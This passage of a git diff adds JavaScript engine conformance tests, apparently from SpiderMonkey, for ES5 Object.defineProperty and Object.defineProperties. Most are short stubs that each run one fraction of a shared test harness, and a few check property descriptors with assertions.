--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-08-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(8, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-09-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-09-of-32.js
new file mode 100644
index 0000000000..cf8e39e658
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-09-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(9, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-10-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-10-of-32.js
new file mode 100644
index 0000000000..a65d17dff1
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-10-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(10, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-11-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-11-of-32.js
new file mode 100644
index 0000000000..60e07c1c28
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-11-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(11, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-12-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-12-of-32.js
new file mode 100644
index 0000000000..69045d0d1d
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-12-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(12, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-13-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-13-of-32.js
new file mode 100644
index 0000000000..95d39424ee
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-13-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(13, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-14-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-14-of-32.js
new file mode 100644
index 0000000000..58bdb5e9f5
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-14-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(14, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-15-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-15-of-32.js
new file mode 100644
index 0000000000..5828adec23
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-15-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(15, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-16-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-16-of-32.js
new file mode 100644
index 0000000000..6e797312d8
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-16-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(16, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-17-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-17-of-32.js
new file mode 100644
index 0000000000..f2dbb6ae9a
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-17-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(17, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-18-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-18-of-32.js
new file mode 100644
index 0000000000..f062ceabf8
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-18-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(18, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-19-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-19-of-32.js
new file mode 100644
index 0000000000..96310b7bd7
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-19-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(19, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-20-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-20-of-32.js
new file mode 100644
index 0000000000..9c3c52a25f
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-20-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(20, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-21-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-21-of-32.js
new file mode 100644
index 0000000000..e3f99899f2
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-21-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(21, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-22-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-22-of-32.js
new file mode 100644
index 0000000000..85d6cf9645
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-22-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(22, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-23-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-23-of-32.js
new file mode 100644
index 0000000000..a1a8d40e3f
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-23-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(23, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-24-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-24-of-32.js
new file mode 100644
index 0000000000..ff561a5dd3
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-24-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(24, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-25-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-25-of-32.js
new file mode 100644
index 0000000000..0748343eec
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-25-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(25, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-26-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-26-of-32.js
new file mode 100644
index 0000000000..4ab28fe386
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-26-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(26, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-27-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-27-of-32.js
new file mode 100644
index 0000000000..f97d13b8f9
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-27-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(27, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-28-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-28-of-32.js
new file mode 100644
index 0000000000..1d28e785aa
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-28-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(28, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-29-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-29-of-32.js
new file mode 100644
index 0000000000..3d72404a0c
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-29-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(29, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-30-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-30-of-32.js
new file mode 100644
index 0000000000..d5ec96f312
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-30-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(30, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-31-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-31-of-32.js
new file mode 100644
index 0000000000..182499268c
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-31-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(31, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-32-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-32-of-32.js
new file mode 100644
index 0000000000..6f78157b59
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-32-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(32, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-function-length.js b/js/src/tests/non262/object/15.2.3.6-function-length.js
new file mode 100644
index 0000000000..ddbb7b9f88
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-function-length.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430133;
+var summary = 'ES5 Object.defineProperty(O, P, Attributes): Function.length';
+
+print(BUGNUMBER + ": " + summary);
+
+loadRelativeToScript("defineProperty-setup.js");
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ new TestRunner().runFunctionLengthTests();
+}
+catch (e)
+{
+ throw "Error thrown during testing: " + e +
+ " at line " + e.lineNumber + "\n" +
+ (e.stack
+ ? "Stack: " + e.stack.split("\n").slice(2).join("\n") + "\n"
+ : "");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/object/15.2.3.6-middle-redefinition-1-of-8.js b/js/src/tests/non262/object/15.2.3.6-middle-redefinition-1-of-8.js
new file mode 100644
index 0000000000..2b693853ed
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-middle-redefinition-1-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runNonTerminalPropertyPresentTestsFraction(1, 8);
diff --git a/js/src/tests/non262/object/15.2.3.6-middle-redefinition-2-of-8.js b/js/src/tests/non262/object/15.2.3.6-middle-redefinition-2-of-8.js
new file mode 100644
index 0000000000..483485ab22
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-middle-redefinition-2-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runNonTerminalPropertyPresentTestsFraction(2, 8);
diff --git a/js/src/tests/non262/object/15.2.3.6-middle-redefinition-3-of-8.js b/js/src/tests/non262/object/15.2.3.6-middle-redefinition-3-of-8.js
new file mode 100644
index 0000000000..8dd876e1f6
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-middle-redefinition-3-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runNonTerminalPropertyPresentTestsFraction(3, 8);
diff --git a/js/src/tests/non262/object/15.2.3.6-middle-redefinition-4-of-8.js b/js/src/tests/non262/object/15.2.3.6-middle-redefinition-4-of-8.js
new file mode 100644
index 0000000000..14a2f0907f
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-middle-redefinition-4-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runNonTerminalPropertyPresentTestsFraction(4, 8);
diff --git a/js/src/tests/non262/object/15.2.3.6-middle-redefinition-5-of-8.js b/js/src/tests/non262/object/15.2.3.6-middle-redefinition-5-of-8.js
new file mode 100644
index 0000000000..d671a8ce49
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-middle-redefinition-5-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runNonTerminalPropertyPresentTestsFraction(5, 8);
diff --git a/js/src/tests/non262/object/15.2.3.6-middle-redefinition-6-of-8.js b/js/src/tests/non262/object/15.2.3.6-middle-redefinition-6-of-8.js
new file mode 100644
index 0000000000..5ff5922429
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-middle-redefinition-6-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runNonTerminalPropertyPresentTestsFraction(6, 8);
diff --git a/js/src/tests/non262/object/15.2.3.6-middle-redefinition-7-of-8.js b/js/src/tests/non262/object/15.2.3.6-middle-redefinition-7-of-8.js
new file mode 100644
index 0000000000..4a792d2f34
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-middle-redefinition-7-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runNonTerminalPropertyPresentTestsFraction(7, 8);
diff --git a/js/src/tests/non262/object/15.2.3.6-middle-redefinition-8-of-8.js b/js/src/tests/non262/object/15.2.3.6-middle-redefinition-8-of-8.js
new file mode 100644
index 0000000000..8cea528150
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-middle-redefinition-8-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runNonTerminalPropertyPresentTestsFraction(8, 8);
diff --git a/js/src/tests/non262/object/15.2.3.6-miscellaneous.js b/js/src/tests/non262/object/15.2.3.6-miscellaneous.js
new file mode 100644
index 0000000000..9f671c52ce
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-miscellaneous.js
@@ -0,0 +1,74 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430133;
+var summary = 'ES5 Object.defineProperty(O, P, Attributes)';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var o = [];
+Object.defineProperty(o, 0, { value: 17 });
+var desc = Object.getOwnPropertyDescriptor(o, 0);
+assertEq(desc !== undefined, true);
+assertEq(desc.value, 17);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, false);
+assertEq(desc.writable, false);
+
+desc = Object.getOwnPropertyDescriptor(o, "length");
+assertEq(desc !== undefined, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, false);
+assertEq(desc.writable, true);
+assertEq(desc.value, 1);
+assertEq(o.length, 1);
+
+Object.defineProperty(o, "foobar",
+ { value: 42, enumerable: false, configurable: true });
+assertEq(o.foobar, 42);
+desc = Object.getOwnPropertyDescriptor(o, "foobar");
+assertEq(desc !== undefined, true);
+assertEq(desc.value, 42);
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, false);
+
+var called = false;
+o = { set x(a) { called = true; } };
+Object.defineProperty(o, "x", { get: function() { return "get"; } });
+desc = Object.getOwnPropertyDescriptor(o, "x");
+assertEq("set" in desc, true);
+assertEq("get" in desc, true);
+assertEq(called, false);
+o.x = 13;
+assertEq(called, true);
+
+var toSource = Object.prototype.toSource || function() { };
+toSource.call(o); // a test for this not crashing
+
+var called = false;
+var o =
+ Object.defineProperty({}, "foo",
+ { get: function() { return 17; },
+ set: function(v) { called = true; } });
+
+assertEq(o.foo, 17);
+o.foo = 42;
+assertEq(called, true);
+
+/*
+ * XXX need tests for Object.defineProperty(array, "length", { ... }) when we
+ * support it!
+ */
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/15.2.3.6-new-definition.js b/js/src/tests/non262/object/15.2.3.6-new-definition.js
new file mode 100644
index 0000000000..7f938203e9
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-new-definition.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430133;
+var summary = 'ES5 Object.defineProperty(O, P, Attributes): new definition';
+
+print(BUGNUMBER + ": " + summary);
+
+loadRelativeToScript("defineProperty-setup.js");
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ new TestRunner().runNotPresentTests();
+}
+catch (e)
+{
+ throw "Error thrown during testing: " + e +
+ " at line " + e.lineNumber + "\n" +
+ (e.stack
+ ? "Stack: " + e.stack.split("\n").slice(2).join("\n") + "\n"
+ : "");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/object/15.2.3.6-redefinition-1-of-4.js b/js/src/tests/non262/object/15.2.3.6-redefinition-1-of-4.js
new file mode 100644
index 0000000000..d826a77551
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-redefinition-1-of-4.js
@@ -0,0 +1,39 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var PART = 1, PARTS = 4;
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430133;
+var summary =
+ 'ES5 Object.defineProperty(O, P, Attributes): redefinition ' +
+ PART + ' of ' + PARTS;
+
+print(BUGNUMBER + ": " + summary);
+
+loadRelativeToScript("defineProperty-setup.js");
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ new TestRunner().runPropertyPresentTestsFraction(PART, PARTS);
+}
+catch (e)
+{
+ throw "Error thrown during testing: " + e +
+ " at line " + e.lineNumber + "\n" +
+ (e.stack
+ ? "Stack: " + e.stack.split("\n").slice(2).join("\n") + "\n"
+ : "");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/object/15.2.3.6-redefinition-2-of-4.js b/js/src/tests/non262/object/15.2.3.6-redefinition-2-of-4.js
new file mode 100644
index 0000000000..78f862cb7e
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-redefinition-2-of-4.js
@@ -0,0 +1,39 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var PART = 2, PARTS = 4;
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430133;
+var summary =
+ 'ES5 Object.defineProperty(O, P, Attributes): redefinition ' +
+ PART + ' of ' + PARTS;
+
+print(BUGNUMBER + ": " + summary);
+
+loadRelativeToScript("defineProperty-setup.js");
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ new TestRunner().runPropertyPresentTestsFraction(PART, PARTS);
+}
+catch (e)
+{
+ throw "Error thrown during testing: " + e +
+ " at line " + e.lineNumber + "\n" +
+ (e.stack
+ ? "Stack: " + e.stack.split("\n").slice(2).join("\n") + "\n"
+ : "");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/object/15.2.3.6-redefinition-3-of-4.js b/js/src/tests/non262/object/15.2.3.6-redefinition-3-of-4.js
new file mode 100644
index 0000000000..0458a79577
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-redefinition-3-of-4.js
@@ -0,0 +1,39 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var PART = 3, PARTS = 4;
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430133;
+var summary =
+ 'ES5 Object.defineProperty(O, P, Attributes): redefinition ' +
+ PART + ' of ' + PARTS;
+
+print(BUGNUMBER + ": " + summary);
+
+loadRelativeToScript("defineProperty-setup.js");
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ new TestRunner().runPropertyPresentTestsFraction(PART, PARTS);
+}
+catch (e)
+{
+ throw "Error thrown during testing: " + e +
+ " at line " + e.lineNumber + "\n" +
+ (e.stack
+ ? "Stack: " + e.stack.split("\n").slice(2).join("\n") + "\n"
+ : "");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/object/15.2.3.6-redefinition-4-of-4.js b/js/src/tests/non262/object/15.2.3.6-redefinition-4-of-4.js
new file mode 100644
index 0000000000..8aa6d0a95a
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-redefinition-4-of-4.js
@@ -0,0 +1,39 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var PART = 4, PARTS = 4;
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430133;
+var summary =
+ 'ES5 Object.defineProperty(O, P, Attributes): redefinition ' +
+ PART + ' of ' + PARTS;
+
+print(BUGNUMBER + ": " + summary);
+
+loadRelativeToScript("defineProperty-setup.js");
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ new TestRunner().runPropertyPresentTestsFraction(PART, PARTS);
+}
+catch (e)
+{
+ throw "Error thrown during testing: " + e +
+ " at line " + e.lineNumber + "\n" +
+ (e.stack
+ ? "Stack: " + e.stack.split("\n").slice(2).join("\n") + "\n"
+ : "");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/object/15.2.3.7-01.js b/js/src/tests/non262/object/15.2.3.7-01.js
new file mode 100644
index 0000000000..5220e1483f
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.7-01.js
@@ -0,0 +1,137 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430133;
+var summary = 'ES5 Object.defineProperties(O, Properties)';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq("defineProperties" in Object, true);
+assertEq(Object.defineProperties.length, 2);
+
+var o, props, desc, passed;
+
+o = {};
+props =
+ {
